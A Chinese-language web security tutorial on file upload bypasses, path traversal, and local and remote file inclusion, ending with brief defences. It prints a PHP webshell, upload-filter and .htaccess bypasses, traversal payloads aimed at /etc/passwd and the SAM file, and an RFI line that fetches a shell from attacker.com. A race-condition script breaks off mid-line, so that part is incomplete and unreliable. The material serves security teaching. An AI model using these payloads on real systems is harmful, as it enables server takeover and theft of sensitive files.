文件处理是Web应用中的常见功能,包括文件上传、下载、包含等。但这些功能如果实现不当,可能导致严重的安全问题。攻击者可以上传恶意文件、下载敏感文件、执行任意代码等。

文件上传功能如果实现不当,攻击者可以上传Webshell控制服务器,上传恶意文件攻击其他用户,上传大文件导致DoS。
文件类型检查,检查文件扩展名、MIME类型。文件内容检查,检查文件头、文件内容。文件大小限制,限制上传文件的大小。文件名处理,重命名、随机化文件名。存储位置,限制文件存储位置,不能直接访问。
1. 扩展名绕过
如果只检查扩展名,可以尝试绕过:
// 原始
shell.php
// 绕过方法
shell.php.jpg // 双扩展名
shell.php%00.jpg // NULL字节截断
shell.php;.jpg // 分号
shell.php. // 点号
shell.pHp // 大小写
shell.php5 // PHP5
shell.phtml // PHTML
shell.php%20 // 空格
shell.php%0a // 换行案例解析:
假设一个系统只检查扩展名:
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if ($ext != 'jpg' && $ext != 'png') {
die('Invalid file type');
}绕过方法:
上述请求上传shell.php.jpg,系统检查.jpg通过,但服务器可能按.php执行(取决于配置)。
2. MIME类型绕过
如果只检查MIME类型,可以修改请求头:
Content-Type: image/jpeg但实际文件是PHP,执行命令:
<?php system($_GET['cmd']); ?>案例解析:
可以使用Burp Suite修改请求头,上传shell.php文件:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--3. 文件头绕过
如果系统检查文件头(Magic Number),可以添加文件头,绕过:
GIF89a
<?php system($_GET['cmd']); ?>系统检查到GIF89a,认为是GIF文件,但实际是PHP。
常见文件头:JPEG是FF D8 FF,PNG是89 50 4E 47,GIF是47 49 46 38,ZIP是50 4B 03 04。
4. 二次渲染绕过
如果系统会重新渲染图片(如调整大小),可以上传一个正常的图片,在图片中嵌入PHP代码,系统重新渲染时,可能保留PHP代码。
5. .htaccess利用
如果可以上传.htaccess文件,可以配置服务器执行任意文件为PHP:
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>然后上传shell.jpg,会被当作PHP执行。
案例解析:
假设一个系统允许上传.htaccess文件,上传.htaccess,配置执行.jpg为PHP,上传shell.jpg(实际是PHP代码),上述请求访问shell.jpg,成功执行PHP代码。
6. 竞争条件
如果系统先保存文件,再检查,可能存在竞争条件:
上传恶意文件,文件保存到服务器,在系统删除前快速访问文件,执行恶意代码。
测试脚本:
import requests
import threading
def upload_file():
url = "https://example.com/upload"
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
response = requests.post(url, files=files)
return response
def access_file():
url = "https://example.com/uploads/shell.php?cmd=id"
response =
如果文件下载功能没有验证文件路径,可能导致任意文件下载:
$file = $_GET['file'];
readfile($file);攻击者可以:
/download?file=../../etc/passwd
/download?file=../../config.php路径遍历(Path Traversal)是指通过../等字符,访问不应该访问的文件。常见的Payload包括:
../../etc/passwd
..\..\..\windows\system32\config\sam
....//....//etc/passwd
%2e%2e%2f%2e%2e%2fetc%2fpasswd绕过方法:
编码绕过,可以用%2e%2e%2f表示../,%2e%2e%5c表示..\,..%2f表示../,%252e%252e%252f是双重编码。
Unicode绕过,可以用..%c0%af表示../,..%c1%9c表示..\。
截断绕过,可以用../../etc/passwd%00.jpg、../../etc/passwd.等。
案例解析:
假设一个文件下载功能没有验证文件路径:
GET /download?file=user_upload.txt后端代码:
$file = $_GET['file'];
$path = '/uploads/' . $file;
readfile($path);上述请求测试路径遍历:
GET /download?file=../../etc/passwd成功下载了/etc/passwd文件。

路径遍历(Directory Traversal)是指通过特殊字符(如../)访问文件系统中的其他目录。常见的Payload包括:
1. 基础绕过:
../etc/passwd
..\..\windows\system32\config\sam2. 编码绕过:
%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
..%c0%afetc%c0%afpasswd3. 双重编码:
%252e%252e%252f4. Unicode编码:
..%c0%af
..%c1%9c5. 截断:
../../etc/passwd%00
../../etc/passwd.
../../etc/passwd//文件包含(File Inclusion)是指应用程序包含其他文件执行代码。如果包含的文件路径可控,可能导致代码执行。
本地文件包含(Local File Inclusion)是指包含本地文件系统中的文件。
攻击原理:
如果应用程序直接使用用户输入包含文件:
include $_GET['page'] . '.php';攻击者可以输入:
../../etc/passwd上述请求生成的代码:
include '../../etc/passwd.php';虽然可能报错,但我们还是可以通过其他方式利用
如果可以包含日志文件,可以在日志中注入PHP代码,然后包含日志文件执行代码。 如果Session文件路径已知,可以包含Session文件,在Session中注入PHP代码。 如果系统有文件上传功能,可以:上传PHP文件(虽然可能被删除),在删除前快速包含临时文件。
可以使用PHP封装协议读取文件:
GET /page.php?page=php://filter/read=string.rot13/resource=../../etc/passwd
GET /page.php?page=php://filter/convert.base64-encode/resource=../../config.php远程文件包含(Remote File Inclusion)是指包含远程服务器上的文件。
攻击原理:
如果allow_url_include开启,可以包含远程文件:
include $_GET['page'];攻击者可以输入:
http://attacker.com/shell.php服务器会下载并执行远程文件。
案例解析:
假设一个系统存在RFI:
GET /page.php?page=http://attacker.com/shell.txt远程文件shell.txt内容:
<?php system($_GET['cmd']); ?>上述请求服务器下载并执行shell.txt文件,成功getshell。
realpath()获取真实路径,检查路径是否在允许的目录下,防止路径遍历。php.ini中设置allow_url_include = Off、allow_url_fopen = Off,防止远程文件包含。本节内容我们系统梳理了各种文件处理相关的漏洞,带大家深入了解了文件上传、下载、路径遍历和文件包含等常见场景中可能存在的风险。比如上传功能里,常见的绕过手法有扩展名绕过、MIME类型篡改、文件头伪造、二次渲染、.htaccess 利用以及上传与解析的竞争条件等;而在文件下载和路径遍历方面,攻击者则会利用任意文件下载、各种编码组合、“../”目录穿越等技巧来获得敏感信息。
简单来说,如果文件处理相关的功能缺乏严格校验,就可能为攻击者敞开大门,带来如远程代码执行、敏感信息泄露等严重后果。因此,开发时一定要重视路径和文件内容的校验与过滤,别想当然地信任任何传入参数。
预告一下,下一节我们将讨论“逻辑漏洞”这个更高阶、更隐蔽也是破坏性更大的问题。和之前讲的技术漏洞不同,逻辑漏洞需要你真正理解业务,是安全测试和防护层面必须掌握的重要能力!
实践建议: 测试文件上传功能的各种绕过方法,测试文件下载功能的路径遍历,理解文件包含的原理和利用方法,学习各种编码和绕过技巧,理解不同漏洞的组合利用。